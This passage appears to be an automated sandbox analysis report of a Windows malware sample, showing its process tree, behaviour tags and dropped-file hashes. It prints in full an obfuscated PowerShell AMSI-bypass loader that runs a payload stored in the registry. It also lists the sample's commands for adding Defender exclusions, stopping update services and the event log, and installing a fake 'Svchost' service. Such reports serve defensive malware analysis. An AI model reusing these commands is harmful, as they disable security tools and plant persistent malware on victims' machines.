Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4916 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GDWuWAgzEiVF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sWrOZMKVXgEfkP,[Parameter(Position=1)][Type]$AUIjZbXHHF)$JRzfpzmxwCR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+'dD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+''+[Char](109)+'o'+[Char](114)+''+'y'+'Mo'+'d'+'ul'+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'','C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'S'+'eal'+'e'+'d,A'+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$JRzfpzmxwCR.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+''+'e'+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sWrOZMKVXgEfkP).SetImplementationFlags('R'+[Char](117)+'nt'+[Char](105)+'me'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');$JRzfpzmxwCR.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+','+'H'+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+'Si'+'g'+',N'+'e'+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t,'+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$AUIjZbXHHF,$sWrOZMKVXgEfkP).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $JRzfpzmxwCR.CreateType();}$WGVpdVjrVFgAk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+[Char](105)+''+'n'+''+'3'+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'Na'+'t'+'iv'+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+'s');$giAsJVSBBjvCvC=$WGVpdVjrVFgAk.GetMethod(''+'G'+'e'+'t'+''+'P'+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TtBkotYFFNjPaPikPsv=GDWuWAgzEiVF @([String])([IntPtr]);$GipxjRqRgQmCVrBxNZFydA=GDWuWAgzEiVF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QgzyJwlUZjd=$WGVpdVjrVFgAk.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$hExaDxyaVeUFyi=$giAsJVSBBjvCvC.Invoke($Null,@([Object]$QgzyJwlUZjd,[Object](''+'L'+''+'o'+'ad'+[Char](76)+'i'+[Char](98)+'ra'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$KvxeKglfVYUlgxALw=$giAsJVSBBjvCvC.Invoke($Null,@([Object]$QgzyJwlUZjd,[Object](''+'V'+''+'i'+'rt'+'u'+''+'a'+''+[Char](108)+'Pr'+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$xRTDpnS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hExaDxyaVeUFyi,$TtBkotYFFNjPaPikPsv).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$aEjLtZKMXOLThaUUA=$giAsJVSBBjvCvC.Invoke($Null,@([Object]$xRTDpnS,[Object]('A'+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$EUdTPOShrZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KvxeKglfVYUlgxALw,$GipxjRqRgQmCVrBxNZFydA).Invoke($aEjLtZKMXOLThaUUA,[uint32]8,4,[ref]$EUdTPOShrZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aEjLtZKMXOLThaUUA,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KvxeKglfVYUlgxALw,$GipxjRqRgQmCVrBxNZFydA).Invoke($aEjLtZKMXOLThaUUA,[uint32]8,0x20,[ref]$EUdTPOShrZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'F'+[Char](84)+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+'g'+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1244 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3564
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1496
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1724
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1996
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1988
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2148
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2520
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2604
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3060
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1120
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3288 -
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6024 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2476
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:2064
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:3052
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5764
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:2872
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:2684
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:3536
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5116
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4824
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4832
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4840
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:4804
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Svchost"3⤵
- Launches sc.exe
PID:4912
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"3⤵
- Launches sc.exe
PID:3264
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:680
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Svchost"3⤵
- Launches sc.exe
PID:4884 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1484
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\file.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:4184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3468
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3820
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3928
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3984
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:5560
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1372
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5460
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4352
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1016
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:5972
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C:\ProgramData\Svchost.exeC:\ProgramData\Svchost.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2276 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5004
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:4804
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:5784
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2424
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1644
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1516
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:5356
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1100
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1636 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4520
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1896 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5268
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3796 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4644
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1816 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3092
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:2728
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:6052
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3428
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Svchost.exe
- Size 8.4MB
- SHA256 bde92e1dce25cae77e42162c51f9b176586675bf4f0df5fd077bfe675d4259f7
- MD5 3184a2e4511afbf1a1ba6081fab682b3
- SHA1 8917dfb665e6f91f52e167c1a5c70059db538d9e
- SHA512 fc2d9ac816347f2540b5d81d7e06f2d7838c560cb782567d638aea20f00897f559fae5beb7ca2c09d5f411b4f6b8c940e0b9167820401ecc1d6a37aa14893ef3
- SSDEEP 196608:6nULBsTMa7LNrX4Vsvzw1oHhFUGXwjB4TwHbmT8E1u6N:iU1cNri6nheUwkY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvpj1p2a.hue.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f935809085e90f8fc2c003afb46e81de28f3312ec097cf46f2bdc2488cb893e7
- MD5 f2dd68ab8e611f0143c6ad176f223ae9
- SHA1 30f580175773f251a9572fe757de6eaef6844abc
- SHA512 f664b850c2fc6773e48171be5c180d8bc5c3a27945f5e6604605006a3c93e0bf3a516b647d6411a4d6b75bdf0a5e15b4f3621bf5702bbc3c46f9b517cb69dd04
- MD5 SHA1 SHA512